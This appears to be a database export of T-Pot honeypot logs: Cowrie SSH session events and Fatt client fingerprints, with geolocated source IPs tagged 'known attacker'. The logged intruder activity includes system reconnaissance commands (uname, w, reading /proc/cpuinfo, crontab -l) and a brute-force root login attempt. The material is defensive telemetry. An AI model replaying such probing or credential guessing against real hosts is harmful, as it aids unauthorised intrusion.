32757	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:25.238756+03	2021-09-20 15:00:03.887722+03	{"_id": "MwYNA3wBvYTbRNuEw0xn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:25.238756Z", "@timestamp": "2021-09-20T11:53:25.238Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32759	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:53:26.104928+03	2021-09-20 15:00:03.889722+03	{"_id": "OwYNA3wBvYTbRNuExUzd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 61312, "dest_port": 22, "timestamp": "2021-09-20T11:53:26.104928", "@timestamp": "2021-09-20T11:53:26.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32760	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:26.106417+03	2021-09-20 15:00:03.891723+03	{"_id": "PwYNA3wBvYTbRNuEx0xR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:26.106417Z", "@timestamp": "2021-09-20T11:53:26.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32761	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:26.218647+03	2021-09-20 15:00:03.892722+03	{"_id": "QwYNA3wBvYTbRNuEx0xR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "159.253.30.249", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11230587959289551, "duplicate": true, "timestamp": "2021-09-20T11:53:26.218647Z", "@timestamp": "2021-09-20T11:53:26.218Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32762	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:26.41748+03	2021-09-20 15:00:03.893721+03	{"_id": "RAYNA3wBvYTbRNuEx0xR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:26.417480Z", "@timestamp": "2021-09-20T11:53:26.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32763	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:24.122606+03	2021-09-20 15:00:03.894722+03	{"_id": "HwYNA3wBvYTbRNuEv0x_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:24.122606Z", "@timestamp": "2021-09-20T11:53:24.122Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32764	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:24.621497+03	2021-09-20 15:00:03.895723+03	{"_id": "IAYNA3wBvYTbRNuEv0x_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:24.621497Z", "@timestamp": "2021-09-20T11:53:24.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32765	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:24.448582+03	2021-09-20 15:00:03.896722+03	{"_id": "HQYNA3wBvYTbRNuEv0x_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "159.253.30.249", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.32605695724487305, "duplicate": true, "timestamp": "2021-09-20T11:53:24.448582Z", "@timestamp": "2021-09-20T11:53:24.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32766	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:24.302652+03	2021-09-20 15:00:03.898722+03	{"_id": "JQYNA3wBvYTbRNuEv0yA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:24.302652Z", "@timestamp": "2021-09-20T11:53:24.302Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32767	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:24.486824+03	2021-09-20 15:00:03.899723+03	{"_id": "HAYNA3wBvYTbRNuEv0x_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "96.78.175.36", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.1842515468597412, "duplicate": true, "timestamp": "2021-09-20T11:53:24.486824Z", "@timestamp": "2021-09-20T11:53:24.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32768	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:24.956368+03	2021-09-20 15:00:03.901722+03	{"_id": "JwYNA3wBvYTbRNuEv0yA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:24.956368Z", "@timestamp": "2021-09-20T11:53:24.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32769	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:53:25.84313+03	2021-09-20 15:00:03.902722+03	{"_id": "LgYNA3wBvYTbRNuEw0xn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:61312 (192.168.176.2:22) [session: 395d8c9aae3b]", "session": "395d8c9aae3b", "@version": "1", "protocol": "ssh", "src_port": 61312, "dest_port": 22, "timestamp": "2021-09-20T11:53:25.843130Z", "@timestamp": "2021-09-20T11:53:25.843Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32770	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:25.936035+03	2021-09-20 15:00:03.903722+03	{"_id": "OQYNA3wBvYTbRNuEw0xn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "159.253.30.249", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.1102151870727539, "duplicate": true, "timestamp": "2021-09-20T11:53:25.936035Z", "@timestamp": "2021-09-20T11:53:25.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32772	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:26.807394+03	2021-09-20 15:00:03.905723+03	{"_id": "QgYNA3wBvYTbRNuEx0xR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "159.253.30.249", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11199617385864258, "duplicate": true, "timestamp": "2021-09-20T11:53:26.807394Z", "@timestamp": "2021-09-20T11:53:26.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32773	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:27.244836+03	2021-09-20 15:00:03.906722+03	{"_id": "TAYNA3wBvYTbRNuEy0w7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "159.253.30.249", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.2230226993560791, "duplicate": true, "timestamp": "2021-09-20T11:53:27.244836Z", "@timestamp": "2021-09-20T11:53:27.244Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32774	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:27.418685+03	2021-09-20 15:00:03.907722+03	{"_id": "TQYNA3wBvYTbRNuEy0w7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:27.418685Z", "@timestamp": "2021-09-20T11:53:27.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32775	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:53:27.580646+03	2021-09-20 15:00:03.908722+03	{"_id": "TgYNA3wBvYTbRNuEy0w7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/748596] failed", "session": "395d8c9aae3b", "@version": "1", "password": "748596", "username": "root", "timestamp": "2021-09-20T11:53:27.580646Z", "@timestamp": "2021-09-20T11:53:27.580Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32776	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:27.804441+03	2021-09-20 15:00:03.909723+03	{"_id": "UwYNA3wBvYTbRNuEy0w8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "159.253.30.249", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11324405670166016, "duplicate": true, "timestamp": "2021-09-20T11:53:27.804441Z", "@timestamp": "2021-09-20T11:53:27.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32777	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:28.006758+03	2021-09-20 15:00:03.911722+03	{"_id": "VQYNA3wBvYTbRNuEy0w8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:28.006758Z", "@timestamp": "2021-09-20T11:53:28.006Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32778	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:27.022433+03	2021-09-20 15:00:03.912723+03	{"_id": "VgYNA3wBvYTbRNuEy0w9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:27.022433Z", "@timestamp": "2021-09-20T11:53:27.022Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32779	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:27.551175+03	2021-09-20 15:00:03.91375+03	{"_id": "VwYNA3wBvYTbRNuEy0w9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "159.253.30.249", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.13257336616516113, "duplicate": true, "timestamp": "2021-09-20T11:53:27.551175Z", "@timestamp": "2021-09-20T11:53:27.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32780	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:28.007304+03	2021-09-20 15:00:03.914724+03	{"_id": "WAYNA3wBvYTbRNuEy0w9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:28.007304Z", "@timestamp": "2021-09-20T11:53:28.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
